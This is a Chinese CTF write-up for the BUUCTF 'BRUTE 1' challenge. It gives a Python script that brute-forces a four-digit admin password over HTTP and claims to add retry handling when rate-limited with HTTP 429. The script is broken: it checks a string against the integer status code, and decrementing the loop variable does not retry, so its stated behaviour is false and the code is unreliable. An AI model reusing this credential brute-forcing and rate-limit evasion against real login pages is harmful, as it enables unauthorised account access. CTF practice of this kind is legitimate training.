题目 BUU BRUTE 1
简单fuzz后可知是一个四位密码的爆破,brupsuite或者脚本都可以解决。网上有很多简单的教学。
但是该题有一个问题就是会报429请求过多的错误。使用brupsuite线程开高了会触发报错,导致错过很多测试,线程开低的话速度又很慢。脚本的话速度就快很多了。参考了一下别人的脚本,但是他并没有处理429错误,于是这里改进一下:
import time
import requests
url="http://23b71b6s-f202-4f59-9ab1-q19fcv1cda91.node4.buuoj.cn:81/?username=admin&password="
for i in range(6400, 7000):
res = requests.get(url + str(i))
print("[*] Try :" + str(i))
if "429" in res.status_code:
time.sleep(0.5)
i = i-1
continue
if res.text != "密码错误,为四位数字。":
print(res.text)
break
当遇到429错误时会休息一段时间(0.5s)并重新测试这次的密码。
原作者脚本地址:https://blog.csdn.net/valecalida/article/details/114316812